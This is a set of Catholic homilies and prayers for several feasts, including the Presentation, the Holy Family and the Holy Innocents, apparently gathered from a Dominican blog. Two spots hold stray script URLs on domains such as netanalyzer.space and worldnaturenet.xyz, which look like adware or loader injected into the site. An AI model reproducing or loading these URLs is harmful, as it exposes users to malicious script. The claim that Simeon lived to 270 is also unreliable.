Reading 1:MAL 3:1-4

R PsalmPS 24:7, 8, 9, 10

Reading 2: HEB 2:14-18

Gospel: LK 2:22-40 OR 2:22-32

Luke 2:22-40:

22When the time came for their purification according to the law of Moses, they brought him up to Jerusalem to present him to the Lord 23(as it is written in the law of the Lord, “Every firstborn male shall be designated as holy to the Lord”), 24and they offered a sacrifice according to what is stated in the law of the Lord, “a pair of turtledoves or two young pigeons.”

25Now there was a man in Jerusalem whose name was Simeon; this man was righteous and devout, looking forward to the consolation of Israel, and the Holy Spirit rested on him. 26It had been revealed to him by the Holy Spirit that he would not see death before he had seen the Lord’s Messiah. 27Guided by the Spirit, Simeon came into the temple; and when the parents brought in the child Jesus, to do for him what was customary under the law, 28Simeon took him in his arms and praised God, saying, 29“Master, now you are dismissing your servant in peace, according to your word; 30for my eyes have seen your salvation, 31which you have prepared in the presence of all peoples, 32a light for revelation to the Gentiles and for glory to your people Israel.” 33And the child’s father and mother were amazed at what was being said about him. 34Then Simeon blessed them and said to his mother Mary, “This child is destined for the falling and the rising of many in Israel, and to be a sign that will be opposed 35so that the inner thoughts of many will be revealed—and a sword will pierce your own soul too.” 36There was also a prophet, Anna the daughter of Phanuel, of the tribe of Asher. She was of a great age, having lived with her husband seven years after her marriage, 37then as a widow to the age of eighty-four. She never left the temple but worshiped there with fasting and prayer night and day. 38 At that moment she came, and began to praise God and to speak about the child to all who were looking for the redemption of Jerusalem. 39When they had finished everything required by the law of the Lord, they returned to Galilee, to their own town of Nazareth. 40 The child grew and became strong, filled with wisdom; and the favour of God was upon him.

Today,we as a church celebrate The Feast of the Presentation of the Lord. This feast is celebrated exactly 40 days after the birth of the Lord. This Feast is also known by the name of ‘Candlemas’, as the church blesses candles and often hold candle processions on this day, to indicate the light of Christ in the world.

Today is a day of both shadow and light. But it is not limited to today. Shadow and light are the reality of our lives and our world each and every day. As human, sometimes we go into the darkness by our own choices or actions and at other times it may be as a result of someone else’s action or simply through the circumstances of lives.

Sometimes we hide in the darkness avoiding the light because we are  ashame or feel  guilty. We do not want to admit the truth of our lives to ourselves and we sure do not want another to see that truth about us – our thoughts or the things we have done and left undone. The shadows, we sometimes think will hide us. Other times we may live in the night of fear not knowing what will come next or how we will cope. We may experience times when we sense being powerlessness and life seems out of control. There are those times when the black hole of sorrow and grief sucks out the life and the light of our world and we seem unable to escape the darkness. Sometimes we experience the darkness of ignorance and confusion at those times. We can become blind to our own identity, lost on the path of life, seemingly without meaning or direction.

No matter how large we may sometimes feel the shadow in our life to be, or how dark the night may seem to us, the light of the Lord is still ever present.

Sacred Tradition says that Simeon was 270 years old when he met Jesus in the temple and that he was blind. Yet Simeon himself declares to God, “My eyes have seen your salvation.”

Yes, Simeon was blind. Yes, Simeon saw salvation. But he did not see with physical eyes. He saw with the eyes of his heart. Simeon experienced an inner seeing.

Christ is both the Light we see and the Illumination by which we see.

That Light and that Illumination are revelatory. They reveal mercy and forgiveness in the shadows of guilt and shame, presence and courage in the night of fear, compassion and hope in the blackness  of sorrow and loss, a way forward in the blindness of ignorance and confusion, and life in the darkness of death. The flame of God’s love consumes the darkness, fills us, and frees us to go in peace just as God promised. We have seen salvation and Simeon’s song now becomes our song.

Hence the link with the candles that we link with today. Our Lord Jesus is the one light which is eternal. No matter how dark we may at times see our lives as being, no matter the situation we may be facing, we know the Lord has been there first and is our ever loving and ever guiding light. All we need to do is reach out, let our faith see that light and to let it always guide us.

Let us pray to our Lord, the light of the world:

O Lord, We thank you for the light that shines from within! Help us this day and always to recognize the several points of light that shine within us: the light of faith, the light of hope, the light of love! Regardless of whether or not the sun is shining or the rain is falling in our lives, remind us that there is a light that you have given us that is eternal and which will never go out. Help us through our lives to brighten the world of the depressed, to glow in a world of darkness and to shine when others struggle to find joy. Remind us that we have a light and that you have commanded us to let our light shine. In a time of pain, may our light be a light of peace. In a time of hate, may our light be a light of love. In a time of poverty, may our light be a light of prosperity. In a time of scarcity, may our light be a light of abundance. Bless us  this day and always to be your shining light to the world. Help us to let that  light shine that all people might see your goodness, mercy and power, shining through what they see in us. Through Jesus Christ our Lord and Saviour we pray. Amen.

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

May the words of my mouth and the meditations of our hearts be always acceptable to you O Lord, our God and our Creator. Amen.

Before I begin my homily on today’s Gospel reading I’d like to take a little time to reflect on the lives of the Saints whose memorial we celebrate today. It’s impossible for us to know with any certainty how many have gone to dwell in the presence of God since Christ opened the path to do so through His atoning sacrifice. However, these saints of God both known and unknown play an important role in the life of Christians not only as intercessors but as examples of lives lived for Christ.

Two such saints, whose memory we keep today are Saints Timothy and Titus; some of you may have heard of these men but to many they will remain little known characters of the biblical narrative. Both Timothy and Titus were companions and co-workers with Saint Paul travelling with him on his journeys and faithfully ministering to the growing Christian community.

So what is it that these men preached on their journeys? Quite simply, like all the apostles, Paul and his companions preached salvation in Christ and it is this which the Gospel speaks of today albeit veiled in the allegory of parable.

The word parable is one that we often hear bandied around when we’re studying the scriptures but it’s one that we often don’t take the time to define to those who may not be familiar with the jargon of biblical analysis. In general terms a parable is a simple story told to illustrate a deeper, often spiritual meaning. The parable was a teaching method that Jesus used frequently. He was fond of taking images from the everyday life of those around him and using those images to convey the great mysteries of the Gospel.

I have heard it asked before why Jesus would choose to teach like this instead of simply “saying what He meant” and as it happens an answer to this is actually found within today’s Gospel. In the reading we find “With many such parables he spoke the word to them as they were able to understand it. Without parables he did not speak to them, but to his own disciples he explained everything in private.”

From this we learn that Jesus was using the parables as a means of keeping higher truths for those who were ready to hear them. We have to remember that Jesus preached in public where any could come and hear Him. By speaking in parables those without faith and no desire to learn would simply hear an interesting story being told whilst those with faith in their hearts would be able to digest that story and find hidden within it the gems of the Gospel. In private, with his closest followers though the Gospel’s author tells us that Jesus did speak and teach plainly.

So today we hear a story about farming; the occupants of Israel in the first century AD were typical of many cultures of the time; they were subsistence farmers and herders and so Jesus’ story of growing plants from seeds would have been easily understood and grasped. To us separated by distance and culture sometimes these stories feel far less familiar and their meaning can be hidden behind a thicker veil.

In this parable Jesus begins by making mention of the Kingdom of God; when we hear this term it’s easy to conjure up images of a throne and God sitting upon it ruling over the Earth. However often the meaning of this term is far more mystical and refers to the whole span of God’s interaction with his creation. For this reason Jesus using this term is a way to tell those of His listeners who are of faith that what follows will be about God’s plan for humanity or what is often termed the plan of salvation.

The parable that Jesus tells is of a man planting seed. The seed falling upon the ground seeming dies and lies inert until without notice new life springs forth. This story, though interesting if you’re into gardening does have a far deeper and significant meaning. In this case the man who is planting the seed is none other than Christ himself. What is it that Christ came to this earth to plant? He came to plant the seeds of the Gospel; He travelled, taught and preached so that Israel could hear the Gospel and carry it throughout the world. So in this parable Jesus tells us that the seed of the Gospel, though it may at times seem to fall on barren ground and be dead, will always spring forth new life when those of faith are attentive.

The seed laying in the ground seemingly dead has a double meaning; Jesus is the Word, the Gospel incarnate and we know that his ultimate faith was to die for our sins. In this parable He was reaching out to His followers and trying to prepare them for what lay ahead. That He would die and they would become disheartened thinking that the Gospel was dead but that in His death new life would rise.

It is through this great promise of a new life that we all find the hope of our salvation. We are all but seeds, we contain a divine potential to unite with God in total perfection, basking in His divine presence and worshipping Him in unending glory!

It is my constant prayer, that each and every one of us will live our lives in the hope of the resurrection and our ultimate salvation in Christ. May the abundant grace that God has given us flow out of us and may we always be prepared to share the great message of hope with all we come in contact with.

Let us pray:

Blessed Father, we thank you this day for the great gift that you have given us in the life, death and resurrection of Christ. May we all live worthy of this great promise and one day, when our mortal walk is over, return to you and dwell in your glory. May the example of Saints Timothy and Titus every be before us and guide us in our service; may we spread the Gospel as called and serve those people in our care in the spirit of these great saints. In the name of Christ, our Saviour. Amen.

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=43https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_https://netanalyzer.space/ext/143e7cdebf193d2764.js?sid=51847_5182_&title=LiveStreamDownloader&blocks%5B%5D=220bb

The dictionary tells us that an epiphany is, “… a manifestation of a divine or supernatural being [or] a moment of sudden revelation or insight.” Only two days after the celebration of the Christmas epiphany, it seems appropriate that God in both Christ his Son and, God the Holy Spirit would also have an epiphany of their own.

In today’s gospel we hear one of the very profound moments in Christ’s life which also sets up one of the sacraments of our faith through his baptism by John in the River Jordan we hear that,

“On coming up out of the water he saw the heavens being torn open and the Spirit, like a dove, descending upon him. And a voice came from the heavens, “You are my beloved Son; with you I am well pleased.””

It was through this moment that two very profound things happened. Firstly, there is a physical descension of the Holy Spirit from the heavens down to Jesus in which he is anointed by the holy spirit, it is then that Christ himself has his moment of revelation or epiphany when his father reminds him that he is his son in whom he is pleased.

Though we are not without sin as Christ was, we are all his children, his flock and whether we are lost or found, once we are baptized as Christ was baptized we are filled with the holy spirit whose amazing grace fills us we were, “…blind but now [we] see.” it is through our baptism that God claims us as his own in whom he is please and through Jesus’ grace and redemption all our imperfections are made clean.

Whether we are blessing ourselves with holy water, or a priest is aspersing us to remind us of our baptismal promise, remember that as Christ was claimed by God the father that day so are we as baptized Christians claimed as a part of Christ’s flock and are heirs to his eternal kingdom. Let us also remember that we have the holy spirit dwelling within us and as Christians it is our duty to let that light shine to others so that they may find their way back to the father. May we as Christians help others to find their light so that they can experience the grace of the Holy Trinity through their own epiphany at baptism and so that they can become united with Christ at his holy table during the eucharist.

As a Dominican our order was founded on preaching the good news so that we may bring people back to God. Sometimes in the scary world we live in today it is hard to keep your light shining; Christian or not sometimes it seems like everyone and everything in this world is out there to tear us down (especially this past year) but if you remember the second verse of the Sunday school song, we must remember, “don’t let Satan blow it out, let it shine!” As we move into this new year let us not only brighten our own lights through prayer and devotion to our Lord, let us also help those who are lost be found, and those that are blind see, so that they can receive the Holy Spirit into their hearts like a Dove and share their light with other shadowed souls of the world.

Let us reflect on the importance of our baptism through praying the asperges me Antiphon.

Thou wilt sprinkle me, O Lord, with hyssop and I shall be cleansed
Thou wilt wash me, and I shall be washed whiter than snow.
Pity me, O God, according to Thy great mercy.

Glory be to the Father, and to the Son, and to the Holy Ghost
As it was in the beginning, is now, and ever shall be, world without end.

Amen.

May the words of my mouth and the meditations of our hearts be always acceptable in your sight our rock and our redeemer. Amen.

Today is one of those interesting days in the lectionary where there are a lot of choices regarding the readings for Mass. As usual my message this morning is going to be on the gospel however I had to make a choice. Both of the reading options today focus on the same event in the life of Christ and are in fact from the same section of the Gospel of Luke; the difference is that one is 18 verses long and the other 3. I have chosen the latter for today and whilst it may be easy to assume I have done this to make my job easier that’s not the case. Rather, I want to focus on the core of the message today as it relates to the Feast of the Holy Family and I today I think that is better served by the short reading.

For those of you who haven’t heard or read the Gospel for today I’d like to share it with you (Luke 2:22; 39,40):

When the days were completed for their purification
according to the law of Moses,
they took him up to Jerusalem
to present him to the Lord.

When they had fulfilled all the prescriptions
of the law of the Lord,
they returned to Galilee,
to their own town of Nazareth.
The child grew and became strong, filled with wisdom;
and the favor of God was upon him.

As I already mentioned this is a very short reading, one of the shortest Gospel readings I’ve ever encountered for Mass; however in its short few verses it is full of such grace and a message that all of us with our own families should heed.

Throughout the history of the Church the Fathers and other believers have gone to a great effort to preserve for us the memory of the Blessed Virgin Mary and her role in the life of Christ, the Church and our Salvation. I have been asked many times by people outside of the Catholic faith why we do this, why we focus on the Blessed Virgin and why she is so important to us.  For me the answer is rather simple, the Blessed Virgin was the first Christian, she was the first person upon the face of the Earth to welcome the mission of the Messiah who would be born of her womb. As such, her yes and her entire life are the perfect model for what it is to be a Christian. If we, as individual followers of Christ were to model our lives on that of the Blessed Mother we could be assured that we would be following the path laid out by Christ that leads to eternal life within the beatific vision. However, today, I want to take this one step further.

Since the dawn of time God has highlighted for us that we are made to be social beings; we humans are made to exist in units called families. Adam was not created alone to walk the Earth but was rather given a companion and this expanded into family life after the fall and the birth of Cain and Abel. And so it is with us today, and just as God has given us a great witness in Mary of the life we should lead as followers of Christ, so he has given us an example of what our lives as families following the Gospel path should be; the very Holy Family themselves, Jesus, Joseph and Mary.

Now I’m sure some of you are wondering why on earth I chose the short reading to highlight how the Holy Family is a model for us in our own family lives, it says so little. You’re right, when it comes to sheer volume of words the Gospel reading today doesn’t seem to say much at all. However, if we stop and contemplate the meaning behind the events recorded we can see clear message for how our lives as Christian families should be.

Firstly, the reading begins with Mary and Joseph taking Jesus to the Temple to be dedicated and for Mary to be purified. This tradition is something that continued throughout many of the branches of Catholic Christianity but has somewhat fallen by the wayside in the West. Traditionally 40 days after the birth of a child mother and baby would come to Church and receive special blessings. Now to many this may seem archaic and may imply that the mother was not clean and worthy without the blessing; however, this is far from the truth. Rather, this event marks a special witness to the joy that the congregation feels over the birth of another Christian soul; it gives them the opportunity to welcome mother and child with open living arms and gives the family the chance to welcome the Church and Christ into their newly expanded family.

So what can we take from this? What message and model do we see in these actions for ourselves? The Holy Family, by following the precepts of the Law of Moses show us that if each and every one of us are going to be followers of Christ we need to ensure that He is at the centre of our family. It is not the Father or the Mother, or the Children who should stand as the focus of family life but rather the redeemer. If we place Jesus and his precepts within the centre of our family life our family will be a happier and stronger place. Now this doesn’t need to mean that our every thought and word is only about Church or Jesus; rather it means that we should always make Christ a part of our daily lives. As a family we should pray together often, we should attend Mass or other worship services together and above all we should always be comfortable talking of Christ and our faith with each other. If we as families can do this, just like the Holy Family, we will be blessed in the sight of God and I’m sure we will be happier and healthier individually and corporately.

To me, the second half of the reading is a curious thing; it tells us that the Holy Family went home and that Jesus become strong, wise and found favour with God. So, does this mean that Jesus wasn’t always wise, strong and in God’s favour?

This is an interesting question as it would be easy to entertain these thoughts from these words. However, I think the Gospel writer had a deeper meaning in mind here. Right now we are in the middle of the celebration of Christmas, those twelve days where we celebrate the incarnation, God becoming man. And I think it is this that the Gospel is hinting at. These words don’t indicate the Jesus was a simple human who through growth and development became our redeemer, rather, I think it is being highlighted for us that though God himself descended from heaven in total perfection He still emptied himself and subjected himself to normal growth and development to witness to us that in Jesus we have a something unique, that we have a redeemer who is at once both totally God and totally man; this is the beauty and mystery of the incarnation.

So this Christmas Season as we contemplate the birth of the Christ Child and the mystery that is the incarnation I want us all to remember the importance of our families and the role that we play in the Church, in society and in fostering love. It is my humble and constant prayer that all Christian family will but Christ at their centre and foster a life of faith and devotion so that all may return to our Heavenly Father when this mortal life is through.

Let us pray:

Jesus, Mary and Joseph, in you we contemplate the splendour of true love, to you we turn with trust.

Holy Family of Nazareth, grant that our families too may be places of communion and prayer, authentic schools of the Gospel and small domestic Churches.

Holy Family of Nazareth, may families never again experience violence, rejection and division: may all who have been hurt or scandalized find ready comfort and healing.

Holy Family of Nazareth, may…[we ever be] mindful of the sacredness and inviolability of the family, and its beauty in God’s plan.

Jesus, Mary and Joseph, graciously hear our prayer. Amen.

(Prayer written by Pope Francis)

In today’s Gospel we read about the presentation of the infant Jesus in the temple. The Holy Family faithfully carried out all the requirements of the law as they were a devout Jewish family. For the Jews the spilling of blood was a source of uncleanness and so, after giving birth, there had to be a ceremony of purification after a designated number of days. Sometimes the husband too went through a similar ceremony. According to the Mosaic law (Leviticus 12:2-8), a woman who gave birth to a boy was not allowed to touch anything sacred for 40 days (in the case of a baby girl, the period was even longer) nor could she enter the Temple precincts because of her impurity. At the end of this period, as mentioned by Luke, she was required to offer a year-old lamb as a burnt offering and a turtle dove or a young pigeon as an offering for sin. Those who could not afford the lamb could offer two birds instead. The parents also presented their first-born son as an offering to the Lord, again in accordance with Jewish law (Exodus 13:2,12).

Two elderly people, Simeon and Anna, are mentioned in the reading. Simeon had received a promise that he would not die until he had laid eyes on the Messiah. Simeon was one of those known as “The Quiet in the Land”, Jews who did not look for a military Messiah, and had no dreams of armies or power, but believed in a life of constant watchfulness and prayer until God should come. Simeon was righteous and devout and the Holy Spirit rested on him. Guided by the Spirit, Simeon arrives at the temple and receives the infant Jesus in his arms.

How lucky was Simeon to receive the Son of God in his arms. But aren’t we luckier than him? We receive the body and blood of Jesus each and every time we celebrate the Eucharist. Still, do we feel the same ecstatic joy when we receive Jesus within us? For some, receiving communion has become almost a mechanical act without bringing about any inner joy and transformation. We should praise God in gratefulness. Praise is actually a joyful form of prayer. Aren’t there many things in our lives for which we should thank and praise God? The answer is Yes!  But sometimes we conveniently forget them.  Myself included.  There have been many times in my life where I have been pleased by the outcome of a particularly difficult situation and only later, sometimes much later, I remember to give God the glory and the thanks.  But thanking Him should not be an after thought!  We should remember to praise God at all times and in all places and to thank Him daily for the many blessings that he has bestowed upon us.  Even when those blessings may be hard for us to see.  As the song by Casting Crowns says, “I will praise you in this storm.”  Even when beaten down by the hardships of life, always remember to praise God.

Simeon then blessed Mary and Joseph and said, “This child is destined for the falling and the rising of many in Israel, and to be a sign that will be opposed so that the inner thoughts of many will be revealed–and a sword will pierce your own soul too.” Mary and Joseph are astounded at what was being said about their child. But this prophesy of Simeon is not so sweet for them. Jesus bringing about the fall of people is a difficult and dangerous idea to come to terms with. We know what happened in history. To Mary he says a more painful prophesy: A sword will pierce your own soul.

The hardships began at the annunciation of Mary by the angel of God were not yet over. They continued and would reach the climax as she would take part in the sufferings of her beloved son. The true greatness of Mary is not in the privileges God bestowed on her, but in her readiness to accept unconditionally everything God asked of her.

How do we respond when God asks certain things of us in our lives? Many times our preoccupations make us say “No” or some conditional “Yes” to God.  A little over a year ago, my wife and I were dealing with something that I pray no one else ever has to go through.  At a time when I should have been strong in my faith and trusted fully in God, with the full knowledge that He would see me through the toughest time in my life, I found myself questioning my faith.  Now I never questioned the existence of God or the life-giving blood of Christ shed of Cavalry, but I did question whether or not He was there for me in my hour (or I should say my almost 5 years) of need.  In the midst of this lowest point in my life, God’s call for me to serve Him in His Holy Church became increasingly louder.  To the level of almost deafening!  I can not lie….I became pretty agitated.  No, I became down right mad!  Why?  Because there I was, begging God to take the pain away.  Begging for Him to use His power to take this chalice from me.  Begging Him to spare me the emotional suffering I had to endure by no fault of my own.  Yet, there He was….seemingly ignoring my cries for help.  Not only that, but having the nerve to ask something of me.  Did I answer “Yes?”  Sure, in the long run.  5 years later!  Instead of responding to God with a resounding “Yes,” trusting that all is in accordance with His plan, I gave a “No” followed by many conditional “Yeses.”  When I finally let go, when I finally did as our most blessed Mother did and said “Yes” to God, that is when His blessings rained down upon me.

When we see God’s great interventions in our lives our eyes should be open to them in thankful amazement and our hearts should be raised in gratitude to the Lord.  Just as Simeon was able to die after seeing the greatness and the Glory of God in the infant Jesus, so too was I able to die to my old sin nature after I beheld the Glory of the Lord.  Be as Simeon and praise the Lord for all He has done and will do in your lives.  Be as Mary and say “Yes” to God no matter how hard it may be to do so.  In the end we shall hear God say, “Well done, my good and faithful servant!”

Amen.

Imagine, if you will, that you are a young couple. Who, like most young people your age, find out that you are expecting your first child. Whether you have tried to have children, or this is an unexpected gift, doesn’t matter. Just the fact that you will soon welcome a blessed addition to your family, should fill you with joy. I have a niece who was told she would never have children, who now has not one, but two darling children. I can imagine the joy, and fear, this young mother must feel, watching her babies grow. All mothers feel joy when they have children, but there is also a pervasive fear. After the birth of my first daughter, I suffered a miscarriage. I was blessed to have another child, a daughter, just a couple years later. But I will always remember the loss of my second child, even if I never gazed upon his (or her) sweet face. This is a tragedy that wounds a mother deeply.

But there is another loss that is even more heart-breaking. I know my niece welcomes her children with gratitude and love. But sadly, one of these dear ones is a boy, who will be taken from her arms before his second birthday. Or he would have, if he had lived during the time of King Herod. Losing a child from miscarriage is hard. But to give birth to a child, then have this precious one snatched away from you, whether by illness, tragedy, or in the case of Jesus’ time, by the decree of a tyrannical king, is almost too terrible to imagine. Yet, it happened to many new parents of this time. Imagine my niece”s lil boy, instead of learning to walk and talk, is cruelly snatched from his home and sentenced to death.

Today, December 28, we celebrate the birthday of those children who were slaughtered, as the Gospel tells us, by the very cruel king, Herod. According to Mathew 2:1-18, Herod was “greatly troubled” when astrologers from the east came asking the whereabouts of “the newborn king of the Jews,” whose star they had seen. They were told that the Jewish Scriptures named Bethlehem as the place where the Messiah would be born. Herod cunningly told them to report back to him so that he could also “do him homage.” The Magi found Jesus, offered him their gifts but warned by an angel, avoided Herod on their way home. As detailed in Matthew 2:16, King Herod then ordered all young boys in Bethlehem, who were two years old and under, to be executed in an attempt to kill the baby Jesus. However, an angel warned Jesus’ parents and they fled to safety in Egypt. .

“Then when Herod saw that he had been tricked by the magi, he became very enraged, and sent and slew all the male children who were in Bethlehem and all its vicinity, from two years old and under, according to the time which he had determined from the magi.”

Some believe that the children who were killed were the first Christian martyrs. Today, the Feast of the Holy Innocents is celebrated in churches worldwide. It is also called The Innocents’ Day or Childermas or Children’s Mass. We offer prayer for those innocent children who were slaughtered. By no fault of their own, by the fact that they were born male, and because a cruel man decided this must be done, these young souls were taken from their parents way too soon. I am thankful every single day for the blessed gift of my daughters. To have a child, whether boy or girl, but to then have someone decree they must be put to death, well I cannot imagine the heart break their parents must have experienced. Let us today, and always, remember these young children, the Holy Innocents.

“Blessed are you, Bethlehem in the land of Judah! You suffered the inhumanity of King Herod in the murder of your babes and thereby have become worthy to offer to the Lord a pure host of infants. In full right do we celebrate the heavenly birthday of these children whom the world caused to be born unto an eternally blessed life rather than that from their mothers’ womb, for they attained the grace of everlasting life before the enjoyment of the present. The precious death of any martyr deserves high praise because of his heroic confession; the death of these children is precious in the sight of God because of the beatitude they gained so quickly. For already at the beginning of their lives they pass on. The end of the present life is for them the beginning of glory. These then, whom Herod’s cruelty tore as sucklings from their mothers’ bosom, are justly hailed as “infant martyr flowers”; they were the Church’s first blossoms, matured by the frost of persecution during the cold winter of unbelief.

St. Augustine

A Prayer To The Holy Innocents.

Holy Innocents, you died before you were old enough to know what life means, pray for all children who die young that God may gather them into His loving arms.

Holy Innocents, you were killed because one man was filled with hatred, pray for those who hate that God may touch their hearts and fill them with love.

Holy Innocents, you experienced a violent death, pray for all who are affected by violence that they may find peace and love.

Holy Innocents, your parents grieved for you with deep and lasting sorrow, pray for all parents who have lost young children that God may wrap a warm blanket of comfort around them.

Holy Innocents, those around you certainly felt helpless to prevent your deaths, pray for all who feel helpless in their circumstances that they may cling to God for courage and hope.

Holy Innocents, you who are now in Heaven, pray for all of us that one day we may join you there to bask in God’s love forever.

Amen.